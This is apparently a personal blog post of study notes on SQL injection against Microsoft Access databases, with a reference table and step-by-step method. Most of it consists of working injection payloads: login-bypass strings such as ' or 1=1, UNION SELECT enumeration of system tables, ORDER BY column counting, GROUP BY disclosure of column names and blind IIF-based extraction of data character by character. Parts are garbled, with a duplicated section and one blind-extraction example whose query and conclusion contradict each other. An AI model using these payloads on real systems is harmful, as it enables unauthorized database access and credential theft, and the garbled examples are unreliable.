Home > SQL Injection > SQL Injection for Microsoft Access

SQL Injection for Microsoft Access

This blog post contains notes that I made when I was reading up on SQL Injection for Microsoft Access.   It is important to note that tools like SQLMap might not work for all instances for SQL injections.   Therefore, it is important to get the fundamentals right from the start instead of relying on tools.

It is easier to learn about SQL injection for Microsoft Access using Microsoft Access because it is easier to visualize for beginners.  I have included screenshots to help beginners like myself to learn about SQL Injections.

There are a few useful links about SQL Injection for Microsoft Access
1.  http:/www.insomniasec.com/publications/Access-Through-Access.pdf  <- You should never hack Microsoft Access without this document.
2. http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/
3. http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html  <- Very useful list of column and tables names that you can use for brute-forcing
4. http://seclists.org/pen-test/2003/May/74  <- Some nifty tricks here.


Reference Table for Microsoft Access SQL Injection

No

Description

Prerequisites Commands
1 Retrieve the List of Tables in the Access Database Might not work through an ODBC connection.  Might only work via MS Access directly. SELECT * FROM users UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1
2 Get the Number of Columns in an Access Table None SELECT * FROM users WHERE id=1 ORDER BY #,1Replace # by a number and increment it until it returns an error.The last number before the error will be the total number of columns in the table.
3 Retrieving the Columns in a Table Only if the column selection in a SELECT statement is not using * SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1
4 Get The First Column Name from the Current Table None SELECT * FROM users WHERE id=1 having sum(1)=1
5 Retrieving the Data Type of the Colum Column and Table Name SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1
6 Retrieve The Length of the Data in X Column Column and Table Name SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0)
7 Retrieve the Data in the Column  / Row of the Access Table.Uses True or False statement to check if there is a data match. Column and Table Name SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)
8 Retrieve The Data In the X Column and X Row. Column and Table Name SELECT TOP 1 username FROM users WHERE username <(SELECT MAX(username) FROM users where USERNAME <(SELECT MAX(username) FROM users)) ORDER BY username
9 How to Check if The Access Database is Sandboxed None SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1
10 Check if Table Exists None SELECT * FROM users WHERE id=1 UNION SELECT 1 FROM [table_name]
11 Check if Column Exists Table Name SELECT * FROM users WHERE id=1 UNION SELECT [column_name] FROM [table_name]
12 Determine Number of Rows in Table Table Name SELECT * FROM users AND IIF(SELECT COUNT(*) FROM [table_name] ) = [x], 1, 0
13 Login Bypass ‘ or 1=1‘)
‘ or 1=1
14 Login Bypass(If the above (No 13) doesn’t work for you Number of ColumnsTable NameColumn Name SELECT * FROM users WHERE username = ‘[username] ‘ UNION SELECT NULL, NULL, NULL FROM users WHERE ‘1’=’1’ and password=’’

Steps for SQL Injection for Microsoft Access

  1. Terminate the input string with a single ‘ or double quote “
  2. Find out the number of columns in the current table. Refer to (2) in table.
  3. Extract the valid column names from the SQL injection.  Refer to (3) in table.
  4. If Step (3) doesn’t work, extract the first column name of the current table.  Refer to (4) in table.
  5. Brute force the table names.  Refer to (10) in table.
  6. Brute force the column names.  Refer to (11) in table.
  7. Retrieve The Length of the Data in X Column.  Refer to (6) in table.
  8. For simple websites, you can use (e.g. UNION SELECT null, null, [column_name], null from users to extract the values).  Not all columns will return the value in a UNION SELECT.  It all depends on the data type of the original column.   You might want to shift the [column_name] around until you get a valid data output on the website.
  9. In a blind SQL injection,  you can use one of the methods mentioned in (7) and (8) to extract the data from the database.

Login Bypass

Prerequisites:                     Username, Number of Columns in Table and Table Name

SELECT * FROM users WHERE username = ‘keith’ union select null, null, null FROM users WHERE ‘1’=’1‘

In some cases, the SQL injection login bypass command (‘ or 1=1)doesn’t work.

This is when the SQL statement below becomes useful.


Get the Number of Columns in an Access Table

Prerequisites:              None

The below SQL command can be used to derive the number of columns in a MSAccess table.

You will increase the number after ORDER BY until you receive an error.  The number before you receive the error is the total number of columns in the current table.

SELECT * FROM users WHERE id=1 ORDER BY 6,1

The group by command also can be used to retrieve the column names.  However, the group by command doesn’t work if the SQL statement contains SELECT *

You will be able to retrieve all the column names in the SQL statement if the SELECT statement doesn’t contain *


Retrieve the Data in the Column  / Row of the Access Table

Prerequisites:  Column and Table Name

The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “m”.

SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)


Retrieve the Data in the Column  / Row of the Access Table

Prerequisites:  Column and Table Name

The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “m”.

SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)

Since the query returns some results, it means that the first character of the word in the first column and row matches the character “m”.

The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “Y”.

SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(usernme),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)

Since the query doesn’t return any results, it means that the first character of the word in the first column and row matches the character “Y”.


Get The First Column Name from the Current Table

Prerequisites:                      None

We are able to reveal the first column of the table using the below SQL statement.  For the other columns, you will have to brute force them using a word list

SELECT * FROM users WHERE id=1 having sum(1)=1


Retrieving the Data Type of the Colum

Prerequisites:                      Column and Table Name

Using the below statement, you can reveal the type of the column.  However, you will need to know the table name and column name in order for this statement to work

SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1

The below command checks the date type of the column “username”.

The below command checks the date type of the column “username”.

The below command checks the date type of the column “username”.

The below command checks the date type of the column “id”.

Using the IF ELSE keyword in the below SQL statement, we can infer the answers to our questions by asking the access database ‘Yes’ or ‘No’ type of questions.

The below statement checks to see if the data type of username is “long”.  If the data type is long then results will be returned.   If not, the results would be blank.


How to Check if The Access Database is Sandboxed

Prerequisites:                     None

If the JET engine is sandboxed, you will not be able to use unsafe commands like curdir().  In order to test whether the Jet engine is sandboxed, you can type in the below statement

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

Microsoft JET 3.51 SP2/SP3 and Windows NT SP6a (MS JET 3.51.0623.4) does not provide sandboxing.

You can refer to http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B294698&Product=acc for a list of safe and unsafe functions that you can/cannot use.


Retrieve the List of Tables in the Access Database

You might be able to get a list of tables that are on the access database using the below command

However, you might not be able to access this outside MS Access.

SELECT * FROM users UNION SELECT name FROM MSysObjects WHERE type=1


Retrieve The Data In the X Column and X Row

Prerequisites:                     Column and Table Name

In order to find the username in the 3rd row, the below SQL statement would be used.

SELECT TOP 1 username FROM users WHERE username <(SELECT MAX(username) FROM users where USERNAME <(SELECT MAX(username) FROM users)) ORDER BY username


Retrieve The Length of the Data in X Column

Prerequisites:                     Column and Table Name

To check if the length of the first string in the username column, we would use the below SQL statement

SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0)


Retrieving the Columns in a Table

Prerequisites:                     If the SELECT statement doesn’t use * under the Column Selection portion of the SQL statement

SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1

If the column selection in the SELECT statement is not using * but using the column names instead, we will able to force MSAccess to reveal the column names by using Group By 1 Having 1=1 statement

As shown in the below screenshot, the first column in the SQL statement has been revealed

We append the previously found column ‘username’ to the SQL statement in order to reveal the name of the next column,  If you no longer receive any alerts, that means that you have uncovered all the column names in the SQL statement.


Check if A Table Exists

Prerequisites:                     None

SELECT * FROM users WHERE username = ‘’ UNION SELECT 1 from users1 WHERE ‘1’=’1’ and password=’’

 You can use the below command to brute force for valid table names


Categories: SQL Injection
  1. May 2, 2013 at 5:18 pm

    Your mode of explaining the whole thing in this post is truly nice, every one
    be capable of without difficulty know it, Thanks
    a lot.

  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: